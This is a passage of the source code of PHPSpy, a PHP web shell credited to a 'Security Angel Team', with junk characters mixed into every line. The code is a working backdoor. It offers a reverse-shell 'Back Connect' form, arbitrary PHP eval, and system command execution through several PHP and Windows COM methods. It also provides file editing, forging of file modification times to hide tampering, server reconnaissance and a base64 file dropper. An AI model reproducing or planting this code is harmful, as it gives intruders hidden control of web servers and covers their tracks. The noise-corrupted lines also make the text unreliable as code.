4 @6 Z: `9 _+ ~0 N$ E- X - }. a8 ~& y3 ~6 P2 h
- formhead(array('title'=>'Back Connect'));
8 v2 e% D t- K; a7 f4 i% V6 x - makehide('action','backconnect');( y* W* }/ x6 C4 J W
- p('<p>'); p; c$ y+ j% u0 @# O( ~) J% M1 ^
- p('Your IP:');
: Y! r( c! s: a3 U) \1 G, k - makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1 Q5 i8 ?0 e$ O D - p('Your Port:');
9 r7 ^) l$ G; g: y2 m2 m - makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));) ^2 h) H" U; Q' F1 G. H5 J
- p('Use:');
( _7 O/ D# J3 J% _! W; F. J+ ~ - makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));0 D- f. D/ Z! r" i" v7 S& m
- makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
2 }) W+ N& I. Y6 k# V* @, V* ?( {* ` - p('</p>');
- L( I S' O" q% z8 o( J - formfoot();
7 u, O7 {- W% q$ ` - }//end sql backup
0 ^( V+ ] U: A - elseif ($action == 'eval') {% Y2 b' @; ]- q& c
- $phpcode = trim($phpcode);
& }' D1 M: V) @ - if($phpcode){
" N3 e+ j! p' U$ X - if (!preg_match('#<\?#si', $phpcode)) {
8 A# Z. D5 m# F s2 R - $phpcode = "<?php\n\n{$phpcode}\n\n?>";
9 W- R! M0 L7 X1 P4 r5 p% q; G - }8 H0 g2 v/ r- J
- eval("?".">$phpcode<?");1 w5 ~# B) ^# a7 k5 i9 H
- }
1 }" }! ~$ T8 `8 c - formhead(array('title'=>'Eval PHP Code'));8 P* B$ h1 ^- C( d8 |, w) G6 R
- makehide('action','eval'); y L* Q* f# H) `5 ^3 ?
- maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
/ y% Y5 e% r8 ` - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');& q4 }5 x3 `. c6 H) W" ^3 e2 K
- formfooter();
, ~& {5 D- \; { - }//end eval
( O O [. ` I. R/ m; C/ x -
" ^/ K$ n( w w: ^ - elseif ($action == 'editfile') { N3 D6 @( T; e% K4 I
- if(file_exists($opfile)) {' j, K$ f1 Z! D6 ?$ C! g
- $fp=@fopen($opfile,'r');
+ z! }$ P) y5 [& Z1 a - $contents=@fread($fp, filesize($opfile));
" X* C8 G. ~; e2 v, p3 C9 e* h - @fclose($fp);
) J$ t6 j$ I6 ~) z - $contents=htmlspecialchars($contents);
! w5 I: R" ?/ [5 ] - }/ u8 X4 c# T+ T! t& _' G
- formhead(array('title'=>'Create / Edit File'));* _ f8 V# p" _5 F! R3 ?, | G3 V5 Y
- makehide('action','file');8 A9 n) r& b$ }
- makehide('dir',$nowpath);
. t" q0 I; t* P; {+ f& V! @2 ^' n - makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));, j3 F5 E. P( R# u. F
- maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
- U4 c9 s! T8 X+ F - formfooter();
4 X8 c: ^0 V1 _4 } - }//end editfile p0 Z0 d- p$ q- f0 F( W
-
: K5 z8 F/ u: b6 p - elseif ($action == 'newtime') {
8 } M" u& r% G) Y2 C - $opfilemtime = @filemtime($opfile);! Q2 Y' E& R6 S7 L# \/ _& g
- //$time = strtotime("$year-$month-$day $hour:$minute:$second");( L7 o! H- i6 ~
- $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);" I" g/ E; f0 k8 e# u" F& T
- formhead(array('title'=>'Clone file was last modified time'));
5 E, k R4 \( O0 { ? - makehide('action','file'); x- M% [) J6 U* y" \
- makehide('dir',$nowpath);$ E$ q% }" D( ^: q" \* k
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));/ T0 `2 X' J" y1 Z
- makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));0 O7 A* n K6 S$ b: O7 V
- formfooter();8 I2 |% S& _; F. {5 f, t& {
- formhead(array('title'=>'Set last modified'));
1 h& F3 b. a6 z; C0 w - makehide('action','file');
4 a+ U, E& ?2 ~7 M* U - makehide('dir',$nowpath);
7 c8 o4 d5 ^' v ]7 L/ _ - makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));+ @# N9 s/ g$ Y1 Z Y0 M8 O
- p('<p>Instead »');. a( V* _4 H- ~9 h+ _
- p('year:');1 U) G) P4 [( C: D9 y
- makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
; [1 Z9 |" Q! `- k- q& e - p('month:');
% ?5 ~3 {4 ]: `6 u8 ~$ M; w - makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
% t) r8 }# p a4 t+ \; V/ @ - p('day:');. O. B8 ?# f. D/ ]$ X& }
- makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
7 o! x/ H9 D- f7 x3 e1 A - p('hour:');1 {/ Z( n. {2 _# }% {# |
- makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));' Y* E7 V# p( e+ a9 E0 n
- p('minute:');
. b1 u, d) L8 a8 z) l - makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
5 S5 g% E4 w5 u* G6 h0 K* v( Z - p('second:');
$ |. K: G" h, D+ \; I1 Z+ G0 g - makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
' |5 g6 U. R1 F& K- K1 q2 @ - p('</p>');$ Z' P6 D, }) w, Q* g3 O: z
- formfooter();
& x! C _* D. Z. d7 @: H% E - }//end newtime
2 A; f: d+ l& b6 M/ ^, K, B -
7 [- V7 n" P8 g% k* ?% \ t: Q" G - elseif ($action == 'shell') {
: U( Z- Q, o$ |- K - if (IS_WIN && IS_COM) {" \# ] X+ Q$ V% D+ O* W; m
- if($program && $parameter) {
% i9 f6 N; h8 ]; O. } Z4 m9 V$ w - $shell= new COM('Shell.Application');6 S2 N! O* _' V ?. Y
- $a = $shell->ShellExecute($program,$parameter);
* v% J1 M$ b% W) H- [5 D! @ - m('Program run has '.(!$a ? 'success' : 'fail'));
8 v( x" B) F! e" B - }
' n6 f5 C7 B# Y/ Q - !$program && $program = 'c:\windows\system32\cmd.exe';* u, A, ^7 i/ i( C% e6 i) ^
- !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
/ N8 }( x6 K' c4 |: | - formhead(array('title'=>'Execute Program'));
$ \$ a2 g) [+ h! S* J - makehide('action','shell');
" P W' d6 ?0 E8 b1 [, I1 k4 E - makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));: \2 F0 F0 s& _3 z3 _- T$ O
- p('<p>');
. U5 s& f7 f$ y3 z: m. o1 H - makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));/ \7 ~' T8 O* b/ F+ g6 W
- makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
9 F1 C2 @3 |$ Q" X$ h - p('</p>');' `' c8 C! B- w+ [
- formfoot();: O" i4 H& b% R x: p$ r
- }
/ e6 M, p* Q; y7 e7 u3 ?6 j9 _ - formhead(array('title'=>'Execute Command'));
' R9 d% {7 L- x! J5 w" @ - makehide('action','shell');; S' }: D- x: B) N
- if (IS_WIN && IS_COM) {; j& M! q7 Z* Q' _2 k# `
- $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');* d' p9 V+ a4 a" ^/ x
- makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
5 ] `5 z; d( K( X1 A, V7 l+ I4 g/ [ - }- ?4 Z8 r) D# p0 l ~( R/ |/ R5 j
- p('<p>');
2 I& c ~; L, G# c! T7 _3 c - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));# L6 l8 b7 Y5 ]3 w0 X
- makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));* j1 L! K3 Q' z+ L
- p('</p>');
' s4 V; C, G4 d& X* N - formfoot();0 c* q. D* L3 i
- K/ v3 s+ r: V `" U5 O
- if ($command) {
: R" Y& P8 z$ A9 M' y: U - p('<hr width="100%" noshade /><pre>');9 B( s w! `; @
- if ($execfunc=='wscript' && IS_WIN && IS_COM) {$ d) V* c7 g2 R1 d& |4 J2 O
- $wsh = new COM('WScript.shell');4 {' A7 |1 o# \3 K
- $exec = $wsh->exec('cmd.exe /c '.$command);
8 k6 |3 P8 L( E6 @0 W( |, \ - $stdout = $exec->StdOut();
/ ]1 r$ \" C8 ?4 _ G - $stroutput = $stdout->ReadAll();6 j' p2 R$ ?: I
- echo $stroutput;
! b" V/ a+ _% k4 H' n% a - } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {0 t: @" A, D, E6 k7 s
- $descriptorspec = array(
$ F( |( C5 t. Z% y/ g$ @; u% P - 0 => array('pipe', 'r'),' B7 o# N% g- U" w# Z
- 1 => array('pipe', 'w'),7 e$ D* \" Q$ ?+ m9 a. p6 k
- 2 => array('pipe', 'w')
6 {. H; K+ [9 p3 k - );5 x% N8 y( e0 Y0 H) L* d5 Z
- $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);( A; ?4 u' B7 W! p! Y' P+ W2 x3 J" S
- if (is_resource($process)) {# a+ P4 e' ?/ q' T0 D% r5 a2 T
- fwrite($pipes[0], $command."\r\n");
0 z3 F7 [) n( L1 l S/ J5 L" D' | - fwrite($pipes[0], "exit\r\n");
! Y( j2 q: ^3 v2 n4 }% r. \* s - fclose($pipes[0]);. s' e. I, J" m, ?8 H0 G+ e8 n
- while (!feof($pipes[1])) {
0 B8 A! x) d6 O2 ^ - echo fgets($pipes[1], 1024);
6 p2 F9 u: @( R, ? - }% `( Q! ~: H" S7 k4 J" P' d
- fclose($pipes[1]);- a! Z `: N# G: N- J; ^ G
- while (!feof($pipes[2])) {1 M" K' T& S8 i( W8 g w
- echo fgets($pipes[2], 1024);
$ V1 y9 u" {& Q0 L Y& Z - }
- M& _+ ]4 g; G- h; N z - fclose($pipes[2]);
2 s* e; @4 n: e7 p( c - proc_close($process);
B! I% d# O: D' \/ t! u - }
% F6 x4 G0 g# q5 c1 O - } else {& R7 x1 ]3 e9 {7 d- R$ ~/ R
- echo(execute($command));
1 @. c, o0 d1 s; X0 ?2 f - }
5 k, v, J1 r) c; h+ Z - p('</pre>');# l. t6 Y6 m0 I( c" o7 p& f
- }7 H$ P% s6 J, x8 ?! y
- }//end shell5 b, W8 ~8 o0 u4 G0 f @- L. g
- & `0 J; o4 o6 Q4 F! j) l4 R; v# C$ D
- elseif ($action == 'phpenv') {
& A3 ^( j7 _% @: H - $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
: q) f, C9 J' S$ p: J - $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');, N, C) [, M6 e' k
- !$dis_func && $dis_func = 'No';
, Z" E% N3 j! F3 U7 V - $info = array(
3 g) g2 ]. G/ @' P0 _ - 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),; O2 d1 J# u0 G6 c
- 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
p6 F& |" ]6 ~' F - 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),) ]2 i! _$ ?( i
- 4 => array('Server OS',PHP_OS),
8 x8 p* w) x \( a- z; V2 z - 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),( q; Q1 d, E2 p; V* x+ ^
- 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
/ v( a2 y4 F5 E, g/ ?4 P5 X - 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), |& ^# Y% N+ M; s
- 8 => array('PHP run mode',strtoupper(php_sapi_name())),9 \6 q0 D7 `$ s5 S; G
- 9 => array('The file path',__FILE__),
" ~$ O8 M: V9 k - + R' Q- m+ R+ @# {0 ^2 M) R
- 10 => array('PHP Version',PHP_VERSION),
! a3 W7 B; F6 v3 R, Y* q& A1 k2 E - 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),# ~+ f% p0 Y/ e) N, ]
- 12 => array('Safe Mode',getcfg('safe_mode')), P( ?! j) t- m! t/ l
- 13 => array('Administrator',$adminmail),
% r; X) x0 z* p% l2 M/ O - 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),5 w0 ~8 p: Y+ ?) G
- 15 => array('enable_dl',getcfg('enable_dl')),
8 j$ u6 I% \3 k2 Q( U5 ] - 16 => array('display_errors',getcfg('display_errors')),- b2 P8 G* f* h# u
- 17 => array('register_globals',getcfg('register_globals')),
3 d8 L# M; p( d3 K4 y - 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
! s$ D3 T+ U+ t& X - 19 => array('memory_limit',getcfg('memory_limit')),
% D; m& {" H6 q+ A! l7 N' R: a6 R' O - 20 => array('post_max_size',getcfg('post_max_size')),
- I. n- d( I% \% [; y0 q5 e- L - 21 => array('upload_max_filesize',$upsize),
( R& }# l ?- Q - 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
4 h8 Z4 ?9 y( Y# o3 A - 23 => array('disable_functions',$dis_func),
6 f" o$ U4 q0 B+ R- m0 t - );
2 D( }- B# N- M- H4 P! \ -
4 g. O m& D0 H+ r& y - if($phpvarname) {0 `9 p3 w; t h# j9 I( B
- m($phpvarname .' : '.getcfg($phpvarname));
8 J5 I3 A+ w, h$ l* S - }. K4 D' N; X6 c: r( M9 v% d* M3 G
- 0 ]5 T# a1 b6 X9 y$ n/ w: T- b$ E) L
- formhead(array('title'=>'Server environment'));( U5 @+ E1 ]" p
- makehide('action','phpenv');
5 h- F* }: J& u/ L9 B3 K, v - makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));/ Z8 z8 g) ~1 O* }6 v, D- U | |
- formfooter();
# E9 O7 }; W8 N9 @: ?4 q1 h7 w - $ H! A" w$ E* s5 g2 u7 Y
- $hp = array(0=> 'Server', 1=> 'PHP');
% K! i v8 q; B - for($a=0;$a<2;$a++) {2 G* P* U9 y* T8 d+ f f* G" u1 k
- p('<h2>'.$hp[$a].' »</h2>');, d; M+ U) s! q4 k! `* s2 `# p
- p('<ul class="info">');, v* v2 F; o, Z8 F" F# d
- if ($a==0) {
& k+ Z8 J0 a. f! w5 A0 r - for($i=1;$i<=9;$i++) {: F! U( e2 g, N! c1 l5 v! T
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');1 l- G* {7 ~2 B; [6 {* n) e' W* x1 X
- }
, ~6 e9 @# V1 N' S1 O2 P - } elseif ($a == 1) {
5 }- e- e' [# a, \8 c - for($i=10;$i<=23;$i++) {1 m0 }/ y$ @& s" B9 v! r/ x
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');6 q7 {$ M4 i- s5 L3 B4 D5 Z, |
- }: W: N, Z+ i8 G% V+ t8 D
- } a2 Y' i; c% w% ~1 e# }( m
- p('</ul>');
% y$ I/ u U5 {! _. k( R* B - }' ~; ]- |- b5 [5 C& L: w) a/ B
- }//end phpenv$ o' h9 [2 v# K
-
' k! ~& t# `% Q - else {! v1 s/ z6 y$ _/ X" q% k) {
- m('Undefined Action');
9 {8 @: |3 G) D6 w - }* U2 E' W1 {4 [ b, M! Q
- % @6 u8 ?8 Y+ o1 o6 ?
- ?>: K+ T% \4 o4 z! M9 E8 J# k) d
- </td></tr></table>
) G. ]0 K* L( y, i3 Z5 i1 J: E - <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
$ J& X9 f, U7 ?, x - <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1 `8 Z, x- Z3 G( ^& u - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.7 J; S ~9 D, M, |6 x1 n' o- e. r
- </div>1 u9 m; P1 F1 p
- </body>9 \, J: O b6 S3 N# U0 f; ^- e
- </html>
: _8 _) q7 i9 G% @5 [4 u9 B -
7 d3 [: H: ^: h0 u/ Q - <?php
' q! g/ ^: h! A7 P - / _9 a( L; S7 b
- /*======================================================8 R/ ? `* { c/ O7 }( p
- 函数库/ N+ d! P$ i. {* F7 }
- ======================================================*/
8 C; l" G( H3 C) c5 D# ~7 L5 ?2 Q -
! n; D2 V# `9 Z3 } - function m($msg) { q' S6 b1 @$ {
- echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';2 z& C$ S8 @$ ~$ t2 U% M+ y4 [1 @
- echo $msg;
6 s" s- c# q3 `7 b, n0 `7 p$ q - echo '</div>';* g+ K8 D8 Z3 S0 `+ N/ p+ k* J0 J
- }
" w6 N1 p* `$ n8 b" n - function scookie($key, $value, $life = 0, $prefix = 1) {
* _, ^1 {# ~1 u9 ] - global $admin, $timestamp, $_SERVER;% c' N- U7 H3 L* X
- $key = ($prefix ? $admin['cookiepre'] : '').$key;! Y e( a) P6 ]* r1 z9 [ I* @$ S
- $life = $life ? $life : $admin['cookielife'];
- P5 s7 L% Y, f8 ?! c X+ S, S( _' b9 m - $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
" |: D( ]* {% e# o+ V5 J - setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);+ S2 @0 S5 ]! o, T* T4 h. t3 Z
- }
% P, R" g" S. _9 k - function multi($num, $perpage, $curpage, $tablename) {% y7 |3 E6 g: T: Z2 I
- $multipage = '';$ H( `7 j: F: T0 c3 k; c# d/ m# a
- if($num > $perpage) {
6 \. ?2 E* w. Y# u0 s$ {# ^ - $page = 10;
4 r% x" i. W" u( y& N: _ - $offset = 5;) t* _/ F8 w) z4 f* R
- $pages = @ceil($num / $perpage);! j" l9 y* i6 h! ^+ N8 M2 i
- if($page > $pages) {
$ Q4 M& H6 `) E& W+ y" e+ u R - $from = 1;
: t8 r5 e/ S' h- g% K8 u' _ - $to = $pages;
1 b/ {" g; ]6 @2 O2 _ - } else {& Q* ^: H5 s2 |
- $from = $curpage - $offset;
) E3 L, Z2 q& u - $to = $curpage + $page - $offset - 1;
0 U: N/ R" i( ?# a5 a - if($from < 1) {
, H8 G8 K1 v" R7 j5 x - $to = $curpage + 1 - $from;
5 j' T+ @! ?" ?+ K8 f) _& H - $from = 1;
- ]# Y v' u, u* d2 u - if(($to - $from) < $page && ($to - $from) < $pages) {
4 w/ n. T* s5 x9 m, c& Q - $to = $page;
" M' Q* o; Z5 n) S4 r; a - }: F& z6 n" v1 k) \; u$ U; W, i1 t
- } elseif($to > $pages) {
8 w9 M! ^3 f; i - $from = $curpage - $pages + $to;2 e7 t2 u6 m, ^1 k) |3 J2 U, a
- $to = $pages;4 z5 u" T5 @: U5 Z- J. \
- if(($to - $from) < $page && ($to - $from) < $pages) { x" ?2 W7 M9 M) Z$ q l1 f
- $from = $pages - $page + 1;
4 r( a, E# g7 |! j# F" X* ?/ f3 L - }
3 T) ]5 F2 N4 g - }- z; ^# r6 Z7 [7 s
- }! I3 Y+ M. v: s) J( |! Z
- $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
. \$ m. _9 P) Y, X, g' `; N/ x - for($i = $from; $i <= $to; $i++) {
9 B! S8 d5 U J- k3 d5 c - $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';. Q/ s' i; r1 D$ G5 P7 d7 {
- }. F6 A; @ h/ a7 M! G# @- w
- $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');9 i8 U4 M0 H+ y5 P" \/ f: N" H
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';3 s5 ]$ L! c1 M& E
- }
: V* H! j5 O' p6 Q6 \5 |) `6 C$ d K - return $multipage;( i. ^7 @, K8 A& l* H
- }
$ F8 A( F# b+ W! o* |5 [4 I - // 登陆入口
: ~! F3 M5 w$ c - function loginpage() {
! g- {! ]! G8 e1 v6 }& ^1 | - ?>, k C) S! U0 \. k
- <style type="text/css">
. [% C# m* T8 n+ w! K - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
9 q+ k4 Q- N( r5 T& L# Q* M' w - </style>
K8 Q7 J1 ~3 ?5 p: c3 L5 X0 W2 q; ^5 |" A - <form method="POST" action="">. I7 l% [" `9 `2 q, ]
- <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
4 @+ U. u0 A; @- @; G - <input type="hidden" name="doing" value="login">
/ C2 z% p% x& k - <input type="submit" value="Login">
( Z3 t$ N. N, n5 E) W( J - </form>6 A. r8 j! q9 @, J' `5 W0 a+ f' i4 o4 d
- <?php; W0 [" D& f! K/ p/ M
- exit;
1 e/ F3 w1 n( j6 x - }//end loginpage()% ^+ D/ c9 W1 A
-
5 m1 l6 V9 F" N5 l8 z - function execute($cfe) {
B$ i0 x- H+ Z" [% m - $res = '';5 C) L- T) S1 i0 n
- if ($cfe) {$ T! o& Z' @4 y6 a4 c+ K
- if(function_exists('exec')) {/ R& [" }* A% n$ R9 I
- @exec($cfe,$res);
/ U3 P. {1 z4 d, U. Q - $res = join("\n",$res);% v4 M& i- o: n) `( e6 e- |
- } elseif(function_exists('shell_exec')) {
$ [# o# P$ k% e+ K: u% S7 \ - $res = @shell_exec($cfe);' |4 ~7 x* v Y2 ?- H
- } elseif(function_exists('system')) {
, R7 q5 v1 P$ C+ w" R( J& F - @ob_start();/ s, f3 Q1 V8 j _9 P8 m$ ^4 r
- @system($cfe);( u$ D4 t2 o4 D7 Q
- $res = @ob_get_contents();
Y6 x* }. K0 ?4 \) a Y+ } - @ob_end_clean();
! k& D$ x* [8 N, b8 q$ U6 z! x - } elseif(function_exists('passthru')) {9 F/ }* t' \0 @* q
- @ob_start();
8 g: C* _4 Q5 o+ ?8 @ - @passthru($cfe);1 f0 C4 C* f1 P5 q/ o# z
- $res = @ob_get_contents();
2 E( a2 v! G% K& W1 v8 t& O4 C - @ob_end_clean();0 k% y |5 F# V/ U$ ^' _
- } elseif(@is_resource($f = @popen($cfe,"r"))) {0 h2 M) [, N: X- I9 b' b* l
- $res = '';4 N. b+ V3 X+ q2 ]4 w8 K2 R7 v
- while(!@feof($f)) {$ x# B6 I! E1 h0 y' Y
- $res .= @fread($f,1024); + l. i3 A1 n2 w! E& y# x, [
- }6 L. ]0 C" {! q7 A/ v* y3 s
- @pclose($f);
; ^4 |8 R: T4 ]! r5 F8 n' {* e - }: ]6 R- { F5 ^( {
- }0 X* a; H% F. N5 n. Q( S# p7 E
- return $res; [+ V3 v2 N9 `2 z8 J
- }. G& a3 Z# o) N, j% Y# E
- function which($pr) {7 P: Z- |% L( K
- $path = execute("which $pr");
7 P- i% L8 a' E( [) Q - return ($path ? $path : $pr);
% t4 ~& E2 a- S- f6 _7 I8 e - }
$ {( L7 K8 f! E! H9 u$ l -
2 G4 D; R* v0 ` - function cf($fname,$text){
P# h Z9 r/ Q. o! k, T1 W) ]0 W4 r - if($fp=@fopen($fname,'w')) {
8 c% Z8 ^( d9 @ B4 Y" z4 m - @fputs($fp,@base64_decode($text));
) O8 s4 R6 V; }4 i - @fclose($fp);
. ^1 A1 @6 h, D$ }9 P) l - }
; ?: k1 R- R7 f! |) K9 n a - }
8 `2 h2 O- M: H) Z# D9 _% t/ I, B -
/ T& v! M6 S5 n$ B* z4 A9 e - // 页面调试信息
. X) O) b0 z8 M& R h - function debuginfo() {6 ]8 c' T$ T3 A
- global $starttime;+ [4 D3 t. i- e# ]$ q: d2 J* J& R
- $mtime = explode(' ', microtime());
/ x0 D5 S6 x( O: h, Z& t3 \+ D - $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);9 [% G+ t% L8 f" \
- echo 'Processed in '.$totaltime.' second(s)';+ C! |! u/ q# J+ O, j
- }
& K( M! m3 c1 ^- u: q - 2 X$ Y$ t% a8 @- u9 d+ B9 t- D" {
- //连接数据库
" g' C: x& @8 V! E1 ^ k2 ` - function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
& S) i5 w4 U3 _; L9 q) M - if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
/ U2 k/ V i* ?& |2 ? - p('<h2>Can not connect to MySQL server</h2>');! S$ s) ^/ j5 B6 y% D
- exit;$ x" a6 j4 l' Y* N U$ ]3 p% q: V
- }2 y8 Q$ u3 M, A* I7 [
- if($link && $dbname) {
% |3 n+ N+ c3 P7 S. M% E3 M - if (!@mysql_select_db($dbname, $link)) {
8 \# f* o- a4 y7 |6 M' [ - p('<h2>Database selected has error</h2>');
( z% p; E) M, [& L - exit;; x! X' z. Z0 n8 e, q# ~6 l1 t
- }7 F/ a1 H ?: o c* ?) v; s
- }4 \3 p- {/ Q/ V0 h- b
- if($link && mysql_get_server_info() > '4.1') {1 k' n/ l6 p% Z4 ]& l$ z3 ?, W& K
- if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {: R* y4 u% K5 w4 ?
- q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
% f( S0 W. b4 u- ? - }
* @9 G- E% K* P - }2 _, ?$ w: W' I/ W6 I" J* |( x9 w
- return $link;2 k; `7 Q1 e) z) w# ^
- }
7 B' a* N s. \8 j6 Q - # b8 |% J# k1 u4 m. L' X9 w
- // 去掉转义字符
# }! o; X% F6 S/ t4 G$ {+ r) W - function s_array(&$array) {7 v+ Q( S. y, D5 f& g( F$ [! H$ F
- if (is_array($array)) {
3 c1 c1 t5 r" I- ?9 N0 c - foreach ($array as $k => $v) {
+ b7 q7 A& K, q8 Z" b) |( \+ j - $array[$k] = s_array($v);4 Y, H9 Y$ t+ B
- }
q* i" B m0 A( F8 Y) ] - } else if (is_string($array)) {" G2 ^ Z$ ^' t8 t
- $array = stripslashes($array);
4 |' @2 |! Z3 O - }
0 ?3 T* U: O+ W$ v, A - return $array;
' {% k, [! X5 n q- K - }8 F) A$ F! s' h2 ?6 k! F
- $ u. j% l* S' R- ]6 x9 y
- // 清除HTML代码/ E7 Y" I- X( n# u2 y3 U, @9 A
- function html_clean($content) {4 R L- q! a; Y6 H. z
- $content = htmlspecialchars($content);
6 V, Y/ \; `1 e! q - $content = str_replace("\n", "<br />", $content);
- U+ z7 K' L- s - $content = str_replace(" ", " ", $content);- B+ p) |$ Q6 S# c
- $content = str_replace("\t", " ", $content);( ]; q8 J/ }8 E" c6 O
- return $content; v3 t+ {2 k# v
- }/ z: M. A9 q- Q e. x* B3 {" F
- ' r' v, i6 k4 c% Z: i6 r8 D
- // 获取权限6 Z! N* F. U/ {
- function getChmod($filepath){1 J& f/ l* O# [# ^) H- X' e
- return substr(base_convert(@fileperms($filepath),10,8),-4);
; |1 j h7 G0 }* l0 u2 J' a - }
! w* m0 Z( k( K6 x# A, m% Q - 6 k; j. o* s* _3 A4 }( `" c
- function getPerms($filepath) {, k# | o0 R$ D e& c7 g b k4 R1 k
- $mode = @fileperms($filepath);" x: O5 L( E& y a0 j/ N
- if (($mode & 0xC000) === 0xC000) {$type = 's';}6 y3 k3 Y" m. u! _6 m& }- X5 J
- elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
+ p" s7 A7 P5 ^. {& s+ S+ r. D - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
/ k2 O' D% g8 L2 \- c - elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
6 e9 `. z: O) M9 ?- |. s( \ - elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
- |. c: z' y X. L( F, u - elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
) O1 X4 M8 z) A- P# j: y - elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}3 {5 y# F+ E( w: c% k$ E- k8 |3 p
- else {$type = '?';}/ R' W) _# M* u/ B5 e
-
1 u9 Z* B. h |* f - $owner['read'] = ($mode & 00400) ? 'r' : '-'; ) g ^) K- P" O0 _+ \3 m5 _
- $owner['write'] = ($mode & 00200) ? 'w' : '-'; ; O9 b- W @! z; P+ t) B0 w. C2 n
- $owner['execute'] = ($mode & 00100) ? 'x' : '-'; ! e& f: u/ u5 h1 H# [
- $group['read'] = ($mode & 00040) ? 'r' : '-';
& I6 t( o) E7 K6 r( ^* Q6 c - $group['write'] = ($mode & 00020) ? 'w' : '-';
. \; M" }" n8 S% c0 y, N5 @ - $group['execute'] = ($mode & 00010) ? 'x' : '-';
0 d' ?# z- e. W - $world['read'] = ($mode & 00004) ? 'r' : '-';
$ |, d! @5 Q) E. l - $world['write'] = ($mode & 00002) ? 'w' : '-';
8 }+ }* S8 \( y: o' l - $world['execute'] = ($mode & 00001) ? 'x' : '-';
) @% |9 B D' _+ V. x0 j -
